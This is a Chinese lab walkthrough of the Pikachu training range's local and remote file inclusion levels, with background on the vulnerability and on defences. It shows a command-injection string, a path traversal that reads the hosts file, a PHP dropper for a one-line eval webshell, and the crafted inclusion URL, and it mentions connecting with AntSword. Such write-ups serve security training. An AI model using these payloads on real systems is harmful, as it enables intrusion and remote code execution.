Pikachu 靶场 File Inclusion 通关解析

2024-05-12 11:36

本文主要是介绍Pikachu 靶场 File Inclusion 通关解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。

Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。

Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。

通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。

总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。

介绍

文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,它允许攻击者通过恶意构造的输入来包含并执行本不应该被执行的文件。这种漏洞通常存在于Web应用程序中,特别是在使用动态文件包含函数或语句时。

文件包含漏洞可以分为两种类型:本地文件包含漏洞和远程文件包含漏洞。

1. 本地文件包含漏洞:本地文件包含漏洞发生在应用程序将用户提供的输入作为文件路径进行处理时,攻击者可以通过构造恶意的文件路径来包含并执行本地文件。这可能导致攻击者读取敏感文件、执行任意的系统命令或获取系统的完全控制权限。

2. 远程文件包含漏洞:远程文件包含漏洞发生在应用程序将用户提供的输入作为远程文件的URL进行处理时,攻击者可以通过构造恶意的URL来包含并执行远程文件。这可能导致攻击者执行任意的系统命令、远程代码执行或进行远程操作。

文件包含漏洞的严重性高,因为攻击者可以利用漏洞来执行任意的恶意代码或获取敏感信息。为了防止文件包含漏洞的利用,开发者和系统管理员应采取以下措施:

1. 输入验证和过滤:应用程序应对所有用户输入进行验证和过滤,特别是与文件路径相关的输入。应确保只允许访问应用程序所需的文件,并禁止包含用户输入的文件路径。

2. 使用白名单机制:应用程序应使用白名单机制来限制允许包含的文件或远程资源。只允许访问已经明确允许的文件或URL,而不是依赖黑名单机制来禁止访问不安全的文件或URL。

3. 避免使用动态文件包含函数或语句:尽量避免使用动态文件包含函数或语句,特别是直接将用户输入作为参数传递给这些函数或语句。如果必须使用,应该对用户输入进行严格的验证和过滤。

4. 最小权限原则:系统管理员应为应用程序和用户分配最小权限,以减少潜在攻击者的影响范围。

总之,文件包含漏洞是一种常见的网络安全漏洞,可以导致攻击者包含并执行恶意文件。为了防止文件包含漏洞的利用,开发者和系统管理员应采取相应的安全措施来保护系统的安全性。

一、File Inclusion(local)

打开靶场发现是一个下拉框,可以选择自己的球星

首先,由于观察到上图的filename是file3.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。

把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php

通关前面的 RCE 漏洞获取当前所在路径

127.0.0.1 | cd

利用漏洞读取 hosts 文件

../../../../Windows/System32/drivers/etc/hosts

二、File Inclusion(remote)

打开靶场选择球星后在 URL 中给出完整路径

生成一个 txt 木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[clc])  ?> ' ); ?>

构造 payload:

http://pikachu:8848/vul/fileinclude/fi_remote.php?filenameC:\phpstudy_pro\shell.txt&submit=%E6%8F%90%E4%BA%A4

通过漏洞上传并执行 

后续可以打开蚁剑测试连接  

这篇关于Pikachu 靶场 File Inclusion 通关解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/982518

相关文章

Java中Redisson 的原理深度解析

《Java中Redisson的原理深度解析》Redisson是一个高性能的Redis客户端,它通过将Redis数据结构映射为Java对象和分布式对象,实现了在Java应用中方便地使用Redis,本文... 目录前言一、核心设计理念二、核心架构与通信层1. 基于 Netty 的异步非阻塞通信2. 编解码器三、

Java HashMap的底层实现原理深度解析

《JavaHashMap的底层实现原理深度解析》HashMap基于数组+链表+红黑树结构,通过哈希算法和扩容机制优化性能,负载因子与树化阈值平衡效率,是Java开发必备的高效数据结构,本文给大家介绍... 目录一、概述:HashMap的宏观结构二、核心数据结构解析1. 数组(桶数组)2. 链表节点(Node

Java 虚拟线程的创建与使用深度解析

《Java虚拟线程的创建与使用深度解析》虚拟线程是Java19中以预览特性形式引入,Java21起正式发布的轻量级线程,本文给大家介绍Java虚拟线程的创建与使用,感兴趣的朋友一起看看吧... 目录一、虚拟线程简介1.1 什么是虚拟线程?1.2 为什么需要虚拟线程?二、虚拟线程与平台线程对比代码对比示例:三

一文解析C#中的StringSplitOptions枚举

《一文解析C#中的StringSplitOptions枚举》StringSplitOptions是C#中的一个枚举类型,用于控制string.Split()方法分割字符串时的行为,核心作用是处理分割后... 目录C#的StringSplitOptions枚举1.StringSplitOptions枚举的常用

Python函数作用域与闭包举例深度解析

《Python函数作用域与闭包举例深度解析》Python函数的作用域规则和闭包是编程中的关键概念,它们决定了变量的访问和生命周期,:本文主要介绍Python函数作用域与闭包的相关资料,文中通过代码... 目录1. 基础作用域访问示例1:访问全局变量示例2:访问外层函数变量2. 闭包基础示例3:简单闭包示例4

MyBatis延迟加载与多级缓存全解析

《MyBatis延迟加载与多级缓存全解析》文章介绍MyBatis的延迟加载与多级缓存机制,延迟加载按需加载关联数据提升性能,一级缓存会话级默认开启,二级缓存工厂级支持跨会话共享,增删改操作会清空对应缓... 目录MyBATis延迟加载策略一对多示例一对多示例MyBatis框架的缓存一级缓存二级缓存MyBat

前端缓存策略的自解方案全解析

《前端缓存策略的自解方案全解析》缓存从来都是前端的一个痛点,很多前端搞不清楚缓存到底是何物,:本文主要介绍前端缓存的自解方案,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录一、为什么“清缓存”成了技术圈的梗二、先给缓存“把个脉”:浏览器到底缓存了谁?三、设计思路:把“发版”做成“自愈”四、代码

Java集合之Iterator迭代器实现代码解析

《Java集合之Iterator迭代器实现代码解析》迭代器Iterator是Java集合框架中的一个核心接口,位于java.util包下,它定义了一种标准的元素访问机制,为各种集合类型提供了一种统一的... 目录一、什么是Iterator二、Iterator的核心方法三、基本使用示例四、Iterator的工

Java JDK Validation 注解解析与使用方法验证

《JavaJDKValidation注解解析与使用方法验证》JakartaValidation提供了一种声明式、标准化的方式来验证Java对象,与框架无关,可以方便地集成到各种Java应用中,... 目录核心概念1. 主要注解基本约束注解其他常用注解2. 核心接口使用方法1. 基本使用添加依赖 (Maven

Java中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例解析

《Java中的分布式系统开发基于Zookeeper与Dubbo的应用案例解析》本文将通过实际案例,带你走进基于Zookeeper与Dubbo的分布式系统开发,本文通过实例代码给大家介绍的非常详... 目录Java 中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例一、分布式系统中的挑战二